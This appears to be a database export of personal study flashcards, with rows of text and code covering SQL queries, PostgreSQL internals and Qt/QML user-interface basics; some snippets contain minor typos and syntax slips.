txt 2024-07-28 10:12:15.985077 0 +6265 1929 For example, find the number of comments for each photo where *the photo_id\nis less than 3* and *the photo has more than 2 comments*. text txt 2024-07-28 10:12:16.00666 0 +6266 1929 In this example, the first condition involves with filtering what is going to\nbe grouped, so we use a `where` clause for it. The second condition on the\nother hand, is regarding aggregated results, which we should be using a\n`having` clause to apply it. text txt 2024-07-28 10:12:16.027535 0 +6267 1929 select photo_id, count(*) as comments\nfrom comments\nwhere photo_id < 3\ngroup by photo_id\nhaving count(*) > 2; code txt 2024-07-28 10:12:16.047794 0 +6268 1930 select authors.name, count(books.id) as releases\nfrom authors\njoin books on authors. code txt 2024-07-28 10:12:16.329707 0 +6269 1931 - Reduces many values down to one\n- Done by using aggregate functions text txt 2024-07-28 10:12:16.536522 0 +6270 1932 - `count()`\n- `min()`\n- `max()`\n- `sum()` text txt 2024-07-28 10:12:16.78631 0 +6271 1933 select user_id, count(*)\nfrom comments\ngroup by user_id; code txt 2024-07-28 10:12:17.076322 0 +6272 1934 Records having null value on grouped column will be ignored. To take them\ninto account, you should not use any specific column in `count()` aggregate\nfunction and use `*` instead. text txt 2024-07-28 10:12:17.432866 0 +6273 1934 select user_id, count(*)\nfrom comments\ngroup by user_id; code txt 2024-07-28 10:12:17.453897 0 +6274 1935 select max(content)\nfrom comments\ngroup by photo_id; code txt 2024-07-28 10:12:17.723684 0 +6275 1936 code txt 2024-07-28 10:12:17.977056 0 +6276 1937 select *\nfrom products\norder by price asc; code txt 2024-07-28 10:12:18.415733 0 +6277 1937 select *\nfrom products\norder by price desc; code txt 2024-07-28 10:12:18.437313 0 +6278 1938 select *\nfrom products\norder by price asc, weight desc; code txt 2024-07-28 10:12:18.698273 0 +6279 1939 Only gives the number of records requested. text txt 2024-07-28 10:12:19.033908 0 +6280 1939 select *\nfrom users\nlimit 10; code txt 2024-07-28 10:12:19.054089 0 +6281 1940 `limit` clause goes at the end of query string after `group by` clause if\nexists, and before `offset`. text txt 2024-07-28 10:12:19.263408 0 +6282 1941 As many number of records as you want can be skipped with `offset` clause. text txt 2024-07-28 10:12:19.587599 0 +6283 1941 select *\nfrom users\noffset 40; code txt 2024-07-28 10:12:19.607687 0 +6284 1942 At the end, after `sort by`, `group by`, `having`, and `limit` clauses. text txt 2024-07-28 10:12:19.785515 0 +6285 1943 There are some cases where two different result sets need to be combined to\nform the desired result set. For example: text txt 2024-07-28 10:12:20.102442 0 +6286 1943 *Find the 4 products with the highest price, and the 4 products with the\nhighest price/weight ratio*. text txt 2024-07-28 10:12:20.123616 0 +6287 1944 All columns of queries should match. text txt 2024-07-28 10:12:20.291689 0 +6288 1945 (\n select product_id\n from products\n order by price desc\n limit 4\n)\nunion\n(\n select product_id\n from products\n order by price / weight desc\n limit 4\n); code txt 2024-07-28 10:12:20.84445 0 +6289 1945 To retrieve duplicates use `union all` clause. text txt 2024-07-28 10:12:20.86484 0 +6290 1946 When the last query has `order by` or `limit` or `offset` clauses, the union\ndoesn't know if these clauses should be used on the last query or the entire\nstatement. This is why when we have these clauses in query, we should use\nparenthesis. Otherwise, union works fine without parenthesis. text txt 2024-07-28 10:12:21.272457 0 +6291 1946 select * from products;\nunion\nselect * from products; code txt 2024-07-28 10:12:21.294329 0 +6292 1947 select * from products order by price desc limit 4;\nintersect\nselect * from products order by price / weight desc limit 4; code txt 2024-07-28 10:12:21.684533 0 +6293 1947 Use `intersect all` to have duplicates appearing in both sides. text txt 2024-07-28 10:12:21.70508 0 +6294 1948 select * from products order by price desc limit 4;\nexcept\nselect * from products order by price / weight desc limit 4; code txt 2024-07-28 10:12:22.093246 0 +6295 1948 Above clause removes duplicates. Use `except all` to also show duplicates. text txt 2024-07-28 10:12:22.11574 0 +6296 1949 When a condition requires a value or a set of values that must be collected\nby another query as a prerequisite, we can use subqueries. text txt 2024-07-28 10:12:22.498367 0 +6297 1949 select name, price\nfrom products\nwhere price > (select max(price) from products where manufacturer = 'Samsung'); code txt 2024-07-28 10:12:22.520191 0 +6298 1950 select name, price, (select max(price) from products) as max_price\nfrom products; code txt 2024-07-28 10:12:22.793215 0 +6299 1951 select name, price_weight_ratio\nfrom (select name, price / weight as price_weight_ratio from produts\nwhere price_weight_ratio > 5; code txt 2024-07-28 10:12:23.067005 0 +6300 1952 create table products (\n id serial primary key,\n name varchar(50),\n price integer not null,\n weight integer\n); code txt 2024-07-28 10:12:23.494578 0 +6301 1953 alter table products alter column price set not null; code txt 2024-07-28 10:12:23.704075 0 +6302 1954 update table products set price = 0 where price is null; code txt 2024-07-28 10:12:23.947588 0 +6303 1955 - Check if the value is already defined (not null)\n- Check if the value is unique in its column (unique)\n- Check if the value is within desired range (comparison operators) text txt 2024-07-28 10:12:24.170086 0 +6304 1956 create table products (\n id serial primary key,\n name varchar(50),\n price integer default 100,\n weight integer default 0 not null\n); code txt 2024-07-28 10:12:24.542418 0 +6305 1957 alter table products alter column price set default 0; code txt 2024-07-28 10:12:24.756112 0 +6306 1958 create table products (\n id serial primary key,\n name varchar(50) unique,\n price integer,\n weight integer,\n); code txt 2024-07-28 10:12:25.088302 0 +6307 1959 alter table products add unique (name); code txt 2024-07-28 10:12:25.334493 0 +6308 1960 code txt 2024-07-28 10:12:25.555506 0 +6309 1961 create table products (\nid serial primary key,\nname varchar(50),\nprice integer not null,\nweight integer,\nunique(name, price)\n): code txt 2024-07-28 10:12:25.918662 0 +6310 1962 alter table products add unique(name, price); code txt 2024-07-28 10:12:26.132529 0 +6311 1963 create table products (\n id serial primary key,\n name varchar(50),\n price integer default 0 not null check (price > 0)\n weight integer default 0 not null (weight > 0)\n); code txt 2024-07-28 10:12:26.507749 0 +6312 1964 alter table products add check(price > 0); code txt 2024-07-28 10:12:26.712775 0 +6313 1965 create table products (\nid serial primary key,\nname varchar(50) not null,\ncreation timestamp not null,\ndelivery timestamp not null,\ncheck(delivery > creation)\n); code txt 2024-07-28 10:12:27.069543 0 +6314 1966 - dbdiagram.io\n- drawsql.app\n- sqldbm.com\n- quickdatabasediagrams.com\n- ondras.zarovi.cz/sql/demo text txt 2024-07-28 10:12:27.372312 0 +6315 1967 alter table likes add check (\n (\n coalesce((post_id)::boolean::integer, 0)\n +\n coalesce((comment_id)::boolean::integer, 0)\n ) = 1\n); code txt 2024-07-28 10:12:27.73822 0 +6316 1968 show data_directory; code txt 2024-07-28 10:12:28.044192 0 +6317 1969 select oid, datname from pg_database; code txt 2024-07-28 10:12:28.304993 0 +6318 1970 select * from pg_class; code txt 2024-07-28 10:12:28.512456 0 +6319 1971 - **Heap File**: The file stored in the base directory within data directory that contains all the data of a table.\n- **Block** or **Page**: 8KB chunks of heap file each storing some number of rows.\n- **Tuple** or **Item**: Individual row from the table. text txt 2024-07-28 10:12:28.735751 0 +6320 1972 |Block 1|Block 1|Block 1|Block 1|\n|---|---|---|---|\n|Information about this block|->|->|->|\n|->|->|Loc of item 1|Loc of item 2|\n|Free Space|Free Space|Free Space|Free Space|\n|Free Space|Free Space|Free Space|Free Space|\n|Data for tuple 2|\n|Data for tuple 1| text txt 2024-07-28 10:12:29.087222 0 +6321 1973 Data structure that efficiently tells us what block a record is stored at. text txt 2024-07-28 10:12:29.285065 0 +6322 1974 create index users_username_idx on users(username); code txt 2024-07-28 10:12:29.556845 0 +6323 1975 drop index users_username_idx; code txt 2024-07-28 10:12:29.801517 0 +6324 1976 explain analyze select * from users where username = 'briansalehi'; code txt 2024-07-28 10:12:30.037944 0 +6325 1977 select pg_relation_size('users');\nselect pg_relation_size('users_username_idx');\nselect pg_size_pretty(pg_relation_size('users')); code txt 2024-07-28 10:12:30.31592 0 +6326 1978 select pg_size_pretty(1024); code txt 2024-07-28 10:12:30.560877 0 +6327 1979 - B-Tree\n- Hash\n- GiST\n- SP-GiST\n- GIN\n- BRIN text txt 2024-07-28 10:12:30.854143 0 +6328 1980 When primary key exists, and when a column has unique constraint on it. text txt 2024-07-28 10:12:31.059244 0 +6329 1981 select relname from pg_class where relkind = 'i'; code txt 2024-07-28 10:12:31.33171 0 +6330 1982 |`users_username_idx`|\n|Meta Page|\n|Leaf Page|\n|Leaf Page|\n|Root Page|\n|Leaf Page| text txt 2024-07-28 10:12:31.612933 0 +6331 1983 create extension pageinspect; code txt 2024-07-28 10:12:31.829762 0 +6332 1984 select root from bt_metap('users_username_idx'); code txt 2024-07-28 10:12:32.049805 0 +6333 1985 The `ctid` column holds the indexes of leaf nodes in the index. text txt 2024-07-28 10:12:32.320117 0 +6334 1985 select * from bt_page_itesm('users_username_idx', 3); code txt 2024-07-28 10:12:32.34147 0 +6335 1986 All tables have a hidden `ctid` column which we can query. text txt 2024-07-28 10:12:32.651557 0 +6336 1986 select ctid, * from users where username = 'briansalehi'; code txt 2024-07-28 10:12:32.673181 0 +6337 1987 The first row points to the first item of the next page for performance\nreasons. text txt 2024-07-28 10:12:32.905731 0 +6338 1988 1. Parsing (Parser)\n2. Rewriting\n3. Planning (Planner)\n4. Executing (Executor) text txt 2024-07-28 10:12:33.149115 0 +6339 1989 - `explain`: build a query plan and display info about it\n- `explain analyze`: build a query plan, run it, and info about it text txt 2024-07-28 10:12:33.381968 0 +6340 1990 select * from pg_stats where tablename = 'users'; code txt 2024-07-28 10:12:33.631767 0 +6341 1991 ```\n(# pages read sequencially) * seq_page_cost\n+ (# pages read at random) * random_page_cost\n+ (# rows scanned) * cpu_tuple_cost\n+ (# index entries scanned) + cpu_index_tuple_cost\n+ (# times function/operator evaluated) + cpu_operator_cost\n= cost\n`````` text txt 2024-07-28 10:12:33.973589 0 +6342 1992 - Open source: qt.io/download-open-source\n- Commercial: qt.io/download text txt 2024-07-28 10:12:34.461276 0 +6343 1992 chmod u+x qt*.run\n./qt*.run code txt 2024-07-28 10:12:34.482798 0 +6344 1993 You can select new components to download and install or unselect them to\nremove them from your installation. text txt 2024-07-28 10:12:34.804292 0 +6345 1993 ${QT_DIR}/MaintenanceTool.exe code txt 2024-07-28 10:12:34.824645 0 +6346 1994 - `int`\n- `bool`\n- `real`\n- `list` text txt 2024-07-28 10:12:35.158753 0 +6347 1995 import QtQuick code txt 2024-07-28 10:12:37.281446 0 +6348 1996 `id` is a very special property-like value, it is used to reference elements\ninside a QML file (document). An `id` needs to be unique inside a document. text txt 2024-07-28 10:12:37.500287 0 +6349 1997 A property can depend on one or many other properties. This is called\nbinding. A bound property is updated when its dependent properties change. It\nworks like a contract. For example the `height` should always be two times\nthe `width`. text txt 2024-07-28 10:12:37.8941 0 +6350 1997 Rectangle {\n width: 100\n height: width * 2\n} code txt 2024-07-28 10:12:37.914126 0 +6351 1998 Some properties are grouped properties. This feature is used when a property\nis more structured and related properties should be grouped together. Another\nway of writing grouped properties is: text txt 2024-07-28 10:12:38.295483 0 +6352 1998 font {\n family: "Ubuntu"\n pixelSize: 24\n} code txt 2024-07-28 10:12:38.317825 0 +6353 1999 Text {\n id: label text txt 2024-07-28 10:12:38.842374 0 +6354 1999 property int spacePresses: 0 text txt 2024-07-28 10:12:38.863149 0 +6355 1999 text: "Space pressed: " + spacePresses + " times" text txt 2024-07-28 10:12:38.88388 0 +6356 1999 Keys.onSpacePressed: {\n increment()\n } text txt 2024-07-28 10:12:38.90451 0 +6357 1999 function increment() {\n spacePresses = spacePresses + 1\n }\n} code txt 2024-07-28 10:12:38.926009 0 +6358 2000 import QtQuick text txt 2024-07-28 10:12:39.337544 0 +6359 2000 Window {\n id: root\n width: 480\n height: 600\n title: qsTr('Milestone')\n visible: true\n} code txt 2024-07-28 10:12:39.357973 0 +6360 2001 Rectangle {\n x: 24\n y: 16\n width: 100\n height: 100\n} code txt 2024-07-28 10:12:39.695611 0 +6361 2002 Rectangle {\n property int max_text_length: 80\n} code txt 2024-07-28 10:12:39.976056 0 +6362 2003 Rectangle { text txt 2024-07-28 10:12:40.410943 0 +6363 2003 property alias text_length: label.length text txt 2024-07-28 10:12:40.43107 0 +6364 2003 Text {\n id: label\n text: 'sample text'\n property int length: 40\n }\n} code txt 2024-07-28 10:12:40.45153 0 +6365 2004 code txt 2024-07-28 10:12:40.675654 0 +6366 2005 The element should have the `focus` property set. text txt 2024-07-28 10:12:41.092081 0 +6367 2005 Text {\n focus: true text txt 2024-07-28 10:12:41.113663 0 +6368 2005 Keys.onEscapePressed: {\n label.text = ''\n }\n} code txt 2024-07-28 10:12:41.134655 0 +6369 2006 `Item` is the base element for all visual elements as such all other visual\nelements inherits from `Item`. The `Item` element is often used as a\ncontainer for other elements, similar to the div element in HTML. text txt 2024-07-28 10:12:41.39022 0 +6370 2007 - **Geometry:** `x` and `y`, `width` and `height`, and `z` for stacking order\n of lift elements up or down from their natural ordering.\n- **Layout Handling:** `anchors` (left, right, top, bottom, vertical,\n horizontal, center), and optional `margins`.\n- **Key Handling:** attached `Key` and `KeyNavigation` properties and the\n `focus` property to enable key handling in the first place.\n- **Transformation:** `scale` and `rotate` transformation and the generic\n `transform` property list for x,y,x transformation, as well as\n `transformOrigin` point.\n- **Visual:** `opacity` to control transparency, `visible` to control\n visibility, `clip` to restrain paint operations to the element boundary,\n `smooth` to enhance the rendeing quality.\n- **State Definition:** `states` list property with the supported list of\n states, current `state` property, and the `transitions` list property to\n animate state changes. text txt 2024-07-28 10:12:41.842087 0 +6371 2008 Rectangle extends `Item` and adds a fill color to it. Additionally it\nsupports borders defined by `border.color` and `border.width`. To create\nrounded rectangles you can use the `radius` property. text txt 2024-07-28 10:12:42.258691 0 +6372 2008 Rectangle {\n color: 'lightsteelblue'\n border.color: 'gray'\n border.width: 3\n} code txt 2024-07-28 10:12:42.278926 0 +6373 2009 Rectangle {\n height: 100\n width: 300\n radius: 5\n} code txt 2024-07-28 10:12:42.595566 0 +6374 2010 A gradient is defined by a series of gradient stops. Each stop has a position\nand a color. The position marks the position on the y-axis (`0 = top, 1 =\nbottom`). The color of the `GradientStop` marks the color at that position. text txt 2024-07-28 10:12:43.248408 0 +6375 2010 import QtQuick text txt 2024-07-28 10:12:43.268532 0 +6376 2010 Rectangle {\n id: root\n width: 500\n height: 500 text txt 2024-07-28 10:12:43.28897 0 +6377 2010 gradient: Gradient {\n GradientStop {\n position: 0.0\n color: 'lightsteelblue'\n }\n GradientStop {\n position: 1.0\n color: 'slategray'\n }\n }\n} code txt 2024-07-28 10:12:43.310662 0 +6378 2011 Text {\n id: label\n color: 'black'\n} code txt 2024-07-28 10:12:43.638529 0 +6379 2012 Text {\n id: label\n text: 'very long string'\n elide: Text.ElideMiddle\n} code txt 2024-07-28 10:12:43.961492 0 +6380 2013 Text {\n id: label\n color: 'black'\n font.family: 'FreeSans'\n font.pixelSize: 18\n} code txt 2024-07-28 10:12:44.310881 0 +6381 2014 - `AlignTop`\n- `AlignBottom`\n- `AlignHCenter`\n- `AlignVCenter` text txt 2024-07-28 10:12:44.72787 0 +6382 2014 Text {\n id: label\n verticalAlignment: Text.AlignHCenter\n horizontalAlignment: Text.AlignVCenter\n} code txt 2024-07-28 10:12:44.749597 0 +6383 2015 Text {\n id: label\n style: Text.Sunken\n styleColor: '#FF4488'\n} code txt 2024-07-28 10:12:45.069135 0 +6384 2016 - PNG\n- JPG\n- GIF\n- BMP\n- WEBP text txt 2024-07-28 10:12:45.364921 0 +6385 2017 Image {\nid: profile_picture\nx: 15\ny: 15\nsource: 'qrc:images/user.jpg'\nheight: 120\nwidth: 90\nclip: true\nfillMode: Image.PreserveAspectCrop\n} code txt 2024-07-28 10:12:45.800918 0 +6386 2018 Image {\n widht: 680\n height: 460\n source: "assets/triangle_red.png"\n fillMode: Image.PreserveAspectCrop\n clip: true\n} code txt 2024-07-28 10:12:46.141537 0 +6387 2019 | Constant | Description |\n|---|---|\n| Image.Stretch | the image is scaled to fit |\n| Image.PreserveAspectFit | the image is scaled uniformly to fit without cropping |\n| Image.PreserveAspectCrop | the image is scaled uniformly to fill, cropping if necessary |\n| Image.Tile | the image is duplicated horizontally and vertically |\n| Image.TileVertically | the image is stretched horizontally and tiled vertically |\n| Image.TileHorizontally | the image is stretched vertically and tiled horizontally |\n| Image.Pad | the image is not transformed | text txt 2024-07-28 10:12:46.526785 0 +6388 2020 MouseArea {\n id: clickable\n anchors.fill: parent\n onClicked: root.clicked()\n} code txt 2024-07-28 10:12:46.877584 0 +6389 2021 A component is a reusable element written in a file and later used in another\nQML document using the name of the component file. text txt 2024-07-28 10:12:47.124688 0 +6390 2022 *Button.qml*\nRectangle {\n id: button\n signal clicked text txt 2024-07-28 10:12:47.550554 0 +6391 2022 MouseArea {\n anchors.fill: parent\n onClicked: { button.clicked(); }\n }\n} code txt 2024-07-28 10:12:47.571567 0 +6392 2023 Rectangle {\n id: button\n property alias color: child.color\n} code txt 2024-07-28 10:12:47.867494 0 +6393 2024 A simple translation is done via changing the `x`, `y` position. text txt 2024-07-28 10:12:48.314172 0 +6394 2024 A rotation is done using the `rotation` property.\nThe value is provided in degrees (0 .. 360). text txt 2024-07-28 10:12:48.334581 0 +6395 2024 A scaling is done using the `scale` property and a value `<1` means the\nelement is scaled down and `>1` means the element is scaled up. text txt 2024-07-28 10:12:48.355532 0 +6396 2024 Rotation and scaling do not change an item's geometry: the `x,y` and\n`width,height` haven’t changed; only the painting instructions are\ntransformed. text txt 2024-07-28 10:12:48.376635 0 +6397 2024 code txt 2024-07-28 10:12:48.397706 0 +6398 2025 antialiasing: true code txt 2024-07-28 10:12:48.624223 0 +6399 2026 import QtQuick text txt 2024-07-28 10:12:48.981603 0 +6400 2026 Rectangle {\n width: 48\n height: 48\n color: "#ea7025"\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:49.002329 0 +6401 2027 The Row element places its child items next to each other, either from the\nleft to the right, or from the right to the left, depending on the\n`layoutDirection` property. text txt 2024-07-28 10:12:50.604714 0 +6402 2027 `spacing` property can be used to distance each of the child elements from\neach other. text txt 2024-07-28 10:12:50.624413 0 +6403 2027 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:50.645247 0 +6404 2027 *RedSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'red'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:50.666943 0 +6405 2027 *GreenSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'green'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:50.687413 0 +6406 2027 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:50.709719 0 +6407 2027 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:50.73193 0 +6408 2027 DarkSquare {\n id: root\n width: 400\n height: 200 text txt 2024-07-28 10:12:50.752669 0 +6409 2027 Row {\n id: row\n anchors.centerIn: parent\n spacing: 8 text txt 2024-07-28 10:12:50.772525 0 +6410 2027 RedSquare {}\n GreenSquare {}\n BlueSquare {}\n }\n} code txt 2024-07-28 10:12:50.794159 0 +6411 2028 `spacing` property can be used to distance each of the child elements from\neach other. text txt 2024-07-28 10:12:52.29612 0 +6412 2028 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:52.316574 0 +6463 2037 Window {\n width: 200\n height: 300\n visible: true\n title: qsTr("Note") text txt 2024-07-28 10:13:00.397911 0 +6413 2028 *RedSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'red'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:52.337901 0 +6414 2028 *GreenSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'green'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:52.359123 0 +6415 2028 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:52.381328 0 +6416 2028 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:52.403381 0 +6417 2028 DarkSquare {\n id: root\n width: 200\n height: 400 text txt 2024-07-28 10:12:52.423434 0 +6418 2028 Column {\n id: column\n anchors.centerIn: parent\n spacing: 8 text txt 2024-07-28 10:12:52.44404 0 +6419 2028 RedSquare {}\n GreenSquare {}\n BlueSquare {}\n }\n} code txt 2024-07-28 10:12:52.465438 0 +6420 2029 The `Grid` element arranges its children in a grid. By setting the `rows` and\n`columns` properties, the number of rows or columns can be constrained. text txt 2024-07-28 10:12:53.728167 0 +6421 2029 By not setting either of them, the other is calculated from the number of\nchild items. For instance, setting rows to 3 and adding 6 child items will\nresult in 2 columns. text txt 2024-07-28 10:12:53.748249 0 +6422 2029 The properties `flow` and `layoutDirection` are used to control the order in\nwhich the items are added to the grid, while `spacing` controls the amount of\nspace separating the child items. text txt 2024-07-28 10:12:53.768613 0 +6423 2029 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:53.789798 0 +6424 2029 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:53.809751 0 +6425 2029 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:53.830383 0 +6426 2029 DarkSquare {\n id: root\n width: 200\n height: 400 text txt 2024-07-28 10:12:53.85131 0 +6427 2029 Grid {\n id: grid\n rows: 2\n columns: 2\n anchors.centerIn: parent\n spacing: 8 text txt 2024-07-28 10:12:53.871733 0 +6428 2029 BlueSquare {}\n BlueSquare {}\n BlueSquare {}\n BlueSquare {}\n }\n} code txt 2024-07-28 10:12:53.892526 0 +6429 2030 The direction of the flow is controlled using `flow` and `layoutDirection`. text txt 2024-07-28 10:12:55.080556 0 +6430 2030 As the items are added in the flow, they are wrapped to form new rows or columns as needed. text txt 2024-07-28 10:12:55.099269 0 +6431 2030 In order for a flow to work, it must have a width or a height. This can be set either directly, or though anchor layouts. text txt 2024-07-28 10:12:55.119952 0 +6432 2030 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:55.140568 0 +6433 2030 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:55.160475 0 +6434 2030 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:55.180513 0 +6435 2030 DarkSquare {\n id: root\n width: 300\n height: 300 text txt 2024-07-28 10:12:55.202283 0 +6436 2030 Flow {\n id: flow\n anchors.fill: parent\n anchors.margins: 10\n spacing: 8 text txt 2024-07-28 10:12:55.223462 0 +6437 2030 BlueSquare {}\n BlueSquare {}\n BlueSquare {}\n BlueSquare {}\n }\n} code txt 2024-07-28 10:12:55.243422 0 +6438 2031 An element often used with positioners is the `Repeater`. It works like a\nfor-loop and iterates over a model. In the simplest case a model is just a\nvalue providing the number of loops. text txt 2024-07-28 10:12:56.931724 0 +6439 2031 Repeaters are best used when having a small amount of static data to be\npresented. text txt 2024-07-28 10:12:56.95334 0 +6440 2031 A repeater injects the `index` property into the repeater. It contains the\ncurrent loop-index. text txt 2024-07-28 10:12:56.975531 0 +6441 2031 While the `index` property is dynamically injected into the Rectangle, it is\na good practice to declare it as a required property to ease readability and\nhelp tooling. This is achieved by the `required property int index` line. text txt 2024-07-28 10:12:56.996924 0 +6442 2031 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:57.016697 0 +6443 2031 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:57.037945 0 +6444 2031 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:57.060766 0 +6445 2031 Window {\n id: root\n title: 'Windows'\n width: 400\n height: 400\n visible: true text txt 2024-07-28 10:12:57.082299 0 +6446 2031 DarkSquare {\n id: dark\n anchors.fill: parent\n anchors.centerIn: parent text txt 2024-07-28 10:12:57.103827 0 +6447 2031 Flow {\n id: flow\n anchors.fill: parent\n anchors.margins: 10\n spacing: 10 text txt 2024-07-28 10:12:57.12527 0 +6448 2031 // replace with 9 repetitions of BlueSquare {}\n Repeater {\n model: 9\n delegate: BlueSquare {\n Text {\n anchors.centerIn: parent\n color: 'black'\n text: '#' + parent.index\n }\n }\n }\n }\n }\n} code txt 2024-07-28 10:12:57.14599 0 +6449 2032 An element has 6 major anchor lines, `top` , `bottom` , `left` , `right` , `horizontalCenter` , `verticalCenter` . text txt 2024-07-28 10:12:57.384753 0 +6450 2033 There is the `baseline` anchor for text in `Text` elements. text txt 2024-07-28 10:12:57.561832 0 +6451 2034 Each anchor line comes with an offset. In the case of the `top` , `bottom` ,\n`left` , and `right` anchors, they are called **margins**. For\n`horizontalCenter` , `verticalCenter` and `baseline` they are called\n**offsets**. text txt 2024-07-28 10:12:57.823322 0 +6452 2035 - `validator`\n- `inputMask`\n- `echoMode` text txt 2024-07-28 10:12:58.086263 0 +6453 2036 *UserInput.qml*\nimport QtQuick text txt 2024-07-28 10:12:59.3731 0 +6454 2036 FocusScope {\n width: 200\n height: input.height + 8 text txt 2024-07-28 10:12:59.394 0 +6455 2036 Rectangle {\n anchors.fill: parent\n color: 'lightsteelblue'\n border.color: 'gray'\n } text txt 2024-07-28 10:12:59.414114 0 +6456 2036 property alias text: input.text\n property alias input: input text txt 2024-07-28 10:12:59.434325 0 +6457 2036 TextInput {\n id: input\n height: 50\n anchors.fill: parent\n anchors.margins: 4\n focus: true\n }\n} code txt 2024-07-28 10:12:59.455601 0 +6458 2036 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:59.477146 0 +6459 2036 Window {\n width: 640\n height: 480\n visible: true\n title: qsTr("Credentials") text txt 2024-07-28 10:12:59.499081 0 +6460 2036 Column {\n UserInput {\n id: input1\n KeyNavigation.tab: input2\n text: 'Username'\n focus: true\n } text txt 2024-07-28 10:12:59.518611 0 +6461 2036 UserInput {\n id: input2\n KeyNavigation.tab: input1\n text: 'Password'\n }\n }\n} code txt 2024-07-28 10:12:59.539951 0 +6462 2037 import QtQuick text txt 2024-07-28 10:13:00.377583 0 +6464 2037 Rectangle {\n anchors.fill: parent\n color: 'linen' text txt 2024-07-28 10:13:00.418829 0 +6465 2037 Text {\n anchors.top: parent.top\n anchors.horizontalCenter: parent.horizontalCenter\n color: 'black'\n font.family: 'OpenSans'\n font.pixelSize: 18\n text: 'Note to Self'\n }\n Editor {\n id: editor\n anchors.verticalCenter: parent.verticalCenter\n anchors.horizontalCenter: parent.horizontalCenter\n anchors.fill: parent\n anchors.topMargin: 30\n anchors.margins: 20\n focus: true\n }\n }\n} code txt 2024-07-28 10:13:00.441392 0 +6466 2038 The attached property `Keys` allows executing code based on certain key\npresses. text txt 2024-07-28 10:13:00.675829 0 +6467 2039 import QtQuick text txt 2024-07-28 10:13:01.398121 0 +6468 2039 Window {\n width: 200\n height: 300\n visible: true\n title: qsTr("Keys") text txt 2024-07-28 10:13:01.419184 0 +6469 2039 Rectangle {\n anchors.fill: parent\n color: 'linen'\n focus: true text txt 2024-07-28 10:13:01.439309 0 +6470 2039 Text {\n id: label\n color: 'black'\n anchors.top: parent.top\n anchors.topMargin: 10\n anchors.left: parent.left\n anchors.leftMargin: 10\n text: 'No key presses'\n } text txt 2024-07-28 10:13:01.460278 0 +6471 2039 Keys.onReturnPressed: label.text = 'Enter pressed'\n }\n} code txt 2024-07-28 10:13:01.48042 0 +6472 2040 This requires you to put your code into a Qt resource file, and is described\nin detail in the [Compiling QML Ahead of\nTime](https://doc.qt.io - https://doc.qt.io/qt-6/qtquick-deployment.html#ahead-of-time-compilation). text txt 2024-07-28 10:13:01.735521 0 +6473 2041 Animations are applied to property changes. An animation defines the\ninterpolation curve from one value to another value when a property value\nchanges. text txt 2024-07-28 10:13:01.978974 0 +6474 2042 This animation requires changes on `x,y` and `rotation` properties. text txt 2024-07-28 10:13:03.122911 0 +6475 2042 import QtQuick text txt 2024-07-28 10:13:03.144096 0 +6476 2042 Window {\n width: 800\n height: 400\n visible: true\n title: qsTr("Box Game") text txt 2024-07-28 10:13:03.164688 0 +6477 2042 Rectangle {\n id: root\n color: '#383838'\n anchors.fill: parent text txt 2024-07-28 10:13:03.185299 0 +6478 2042 property int padding: 10\n property int duration: 5000\n property bool running: false text txt 2024-07-28 10:13:03.208219 0 +6479 2042 Rectangle {\n id: box\n x: root.padding\n y: root.height - width - 5\n width: 50\n height: 50\n color: 'lightsteelblue' text txt 2024-07-28 10:13:03.230492 0 +6480 2042 NumberAnimation on x {\n to: root.width - box.width - root.padding\n duration: root.duration * 2\n running: root.running\n } text txt 2024-07-28 10:13:03.251747 0 +6481 2042 RotationAnimation on rotation {\n to: 360\n duration: root.duration\n running: root.running\n }\n } text txt 2024-07-28 10:13:03.272687 0 +6482 2042 MouseArea {\n anchors.fill: root\n onClicked: root.running = true\n }\n }\n} code txt 2024-07-28 10:13:03.294341 0 +6483 2043 This animation requires changes on `opacity` and `scale` properties. text txt 2024-07-28 10:13:03.520005 0 +6484 2043 code txt 2024-07-28 10:13:03.539988 0 +6485 2044 - `PropertyAnimation`: animates changes in property values.\n- `NumberAnimation`: animates changes in qreal-type values.\n- `ColorAnimation`: animates changes in color values.\n- `RotationAnimation`: animates changes in rotation values. text txt 2024-07-28 10:13:03.993303 0 +6486 2044 Qt Quick also provides more specialized animations for specific use cases: text txt 2024-07-28 10:13:04.014484 0 +6487 2044 - 